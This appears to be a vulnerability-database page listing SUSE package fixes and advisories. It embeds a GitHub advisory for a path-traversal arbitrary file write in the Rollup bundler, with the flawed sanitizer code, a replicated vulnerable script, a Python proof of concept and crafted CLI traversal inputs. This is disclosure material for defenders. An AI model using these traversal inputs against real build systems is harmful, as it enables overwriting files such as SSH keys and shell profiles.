- Fixedmgrctl-zsh-completion-0:5.2.5-159000.2.3.2.noarch as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedmgrctl-zsh-completion-0:5.2.5-159000.2.3.2.noarch as component of SUSE Multi Linux Manager Tools Beta SLE-Micro-5suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedprometheus-blackbox_exporter-0:0.26.0-159000.2.2.1.aarch64 as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedprometheus-blackbox_exporter-0:0.26.0-159000.2.2.1.ppc64le as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedprometheus-blackbox_exporter-0:0.26.0-159000.2.2.1.s390x as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedprometheus-blackbox_exporter-0:0.26.0-159000.2.2.1.x86_64 as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedprometheus-postgres_exporter-0:0.10.1-159000.2.2.1.aarch64 as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedprometheus-postgres_exporter-0:0.10.1-159000.2.2.1.ppc64le as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedprometheus-postgres_exporter-0:0.10.1-159000.2.2.1.s390x as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedprometheus-postgres_exporter-0:0.10.1-159000.2.2.1.x86_64 as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython3-defusedxml-0:0.7.1-159000.4.2.1.noarch as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython3-mgr-push-0:5.2.3-159000.2.3.1.noarch as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython3-rhnlib-0:5.2.4-159000.4.3.1.noarch as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython3-spacewalk-client-tools-0:5.2.4-159000.4.3.1.noarch as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython3-uyuni-common-libs-0:5.2.3-159000.2.3.1.aarch64 as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython3-uyuni-common-libs-0:5.2.3-159000.2.3.1.ppc64le as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython3-uyuni-common-libs-0:5.2.3-159000.2.3.1.s390x as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython3-uyuni-common-libs-0:5.2.3-159000.2.3.1.x86_64 as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedspacecmd-0:5.2.6-159000.4.3.1.noarch as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedspacewalk-client-tools-0:5.2.4-159000.4.3.1.noarch as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedsupportutils-plugin-salt-0:1.2.3-159000.4.2.1.noarch as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedsupportutils-plugin-susemanager-client-0:5.2.2-159000.4.2.1.noarch as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedvenv-salt-minion-0:3006.0-159000.5.3.2.aarch64 as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedvenv-salt-minion-0:3006.0-159000.5.3.2.aarch64 as component of SUSE Multi Linux Manager Tools Beta SLE-Micro-5suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedvenv-salt-minion-0:3006.0-159000.5.3.2.ppc64le as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedvenv-salt-minion-0:3006.0-159000.5.3.2.ppc64le as component of SUSE Multi Linux Manager Tools Beta SLE-Micro-5suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedvenv-salt-minion-0:3006.0-159000.5.3.2.s390x as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedvenv-salt-minion-0:3006.0-159000.5.3.2.s390x as component of SUSE Multi Linux Manager Tools Beta SLE-Micro-5suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedvenv-salt-minion-0:3006.0-159000.5.3.2.x86_64 as component of SUSE Multi Linux Manager Tools Beta SLE-15suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedvenv-salt-minion-0:3006.0-159000.5.3.2.x86_64 as component of SUSE Multi Linux Manager Tools Beta SLE-Micro-5suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedheroic-games-launcher-0:2.20.0-2.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedheroic-games-launcher-0:2.20.0-2.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedheroic-games-launcher-0:2.20.0-2.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedheroic-games-launcher-0:2.20.0-2.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.8–9.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
exploits (1)
Public proof-of-concept and weaponised exploit code.
affected products (51)
Products and version ranges known to be affected.
advisories (6)
Vendor and ecosystem advisories describing this.
- NCSC-2026-0325Kwetsbaarheden verholpen in Atlassian productenNL2026-08-24csaf · ncsc_nlNL
Atlassian heeft kwetsbaarheden verholpen in diverse producten zoals Bamboo, Bitbucket, Confluence, Jira, Crowd en Fisheye. De kwetsbaarheden bevinden zich in diverse Third-Party producten waar eerder updates voor zijn verschenen. Atlassian heeft deze updates verwerkt in de eigen producten.
- SUSE-SU-2026:1013-1Security update 5.0.7 for Multi-Linux Manager Client Tools2026-03-25csaf · suse_csafDE
Security update 5.0.7 for Multi-Linux Manager Client Tools
- SUSE-SU-2026:1148-1Security Beta update 5.2.0 Beta1 for Multi-Linux Manager Client Tools2026-03-30csaf · suse_csafDE
Security Beta update 5.2.0 Beta1 for Multi-Linux Manager Client Tools
- WID-SEC-W-2026-2923Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye, und Jira): Mehrere SchwachstellenDeutsch2026-08-18csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence, Atlassian Crucible, Atlassian Fisheye und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen, um einen SQL-Injection Angriff durchzuführen, und um Sicherheitsvorkehrungen zu umgehen.
- openSUSE-SU-2026:10263-1heroic-games-launcher-2.20.0-2.1 on GA media2026-02-26csaf · suse_csafDE
heroic-games-launcher-2.20.0-2.1 on GA media
- GHSA-mw96-cpmx-2vgcRollup 4 has Arbitrary File Write via Path Traversal2026-02-25ghsa · osvUS
### Summary The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. ### Details The vulnerability is caused by the combination of two flawed components in the Rollup core: 1. **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\`). ```typescript // src/utils/sanitizeFileName.ts (Line 3) const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g; ``` This allows path traversal sequences like `../../` to pass through the sanitizer unmodified. 2. **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the "sanitized" filename. ```typescript // src/rollup/rollup.ts (Line 317) const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName); ``` Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write. ### PoC A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file. **Scenario: CLI Named Input Exploit** 1. Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`). 2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: ```bash rollup --input "a/../../pwned.js=main.js" --dir dist ``` 3. **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder. **Reproduction Files provided :** * `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug. * `exploit.py`: Automated script to run the PoC and verify the file escape. vuln_app.js ```js const path = require('path'); const fs = require('fs'); /** * REPLICATED ROLLUP VULNERABILITY * * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */ function sanitize(name) { // The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../' return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_'); } async function build(userSuppliedName) { const outputDir = path.join(__dirname, 'dist'); const fileName = sanitize(userSuppliedName); // Vulnerability: path.resolve() follows traversal sequences in the filename const outputPath = path.resolve(outputDir, fileName); console.log(`[*] Target write path: ${outputPath}`); if (!fs.existsSync(path.dirname(outputPath))) { fs.mkdirSync(path.dirname(outputPath), { recursive: true }); } fs.writeFileSync(outputPath, 'console.log("System Compromised!");'); console.log(`[+] File written successfully.`); } build(process.argv[2] || 'bundle.js'); ``` exploit.py ```py import subprocess from pathlib import Path def run_poc(): # Target a file outside the 'dist' folder poc_dir = Path(__file__).parent malicious_filename = "../pwned_by_rollup.js" target_path = poc_dir / "pwned_by_rollup.js" print(f"=== Rollup Path Traversal PoC ===") print(f"[*] Malicious Filename: {malicious_filename}") # Trigger the vulnerable app subprocess.run(["node", "poc/vuln_app.js", malicious_filename]) if target_path.exists(): print(f"[SUCCESS] File escaped 'dist' folder!") print(f"[SUCCESS] Created: {target_path}") # target_path.unlink() # Cleanup else: print("[FAILED] Exploit did not work.") if __name__ == "__main__": run_poc() ``` ## POC ```rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist``` <img width="1918" height="1111" alt="image" src="https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4" /> ### Impact This is a **High** level of severity vulnerability. * **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges. * **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase. * **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (36)
External citations — patches, advisories, analysis.
- https://github.com/rollup/rollup/commit/c60770d7aaf750e512c1b2774989ea4596e660b2cnnvd
- https://github.com/rollup/rollup/commit/c8cf1f9c48c516285758c1e11f08a54f304fd44ecnnvd
- https://github.com/rollup/rollup/commit/d6dee5e99bb82aac0bee1df4ab9efbde455452c3cnnvd
- https://github.com/rollup/rollup/releasesPatchcnnvd
- https://github.com/rollup/rollup/releases/tag/v2.80.0cnnvd
- https://github.com/rollup/rollup/releases/tag/v3.30.0cnnvd
- https://github.com/rollup/rollup/releases/tag/v4.59.0cnnvd
- https://github.com/rollup/rollup/security/advisories/GHSA-mw96-cpmx-2vgccnnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan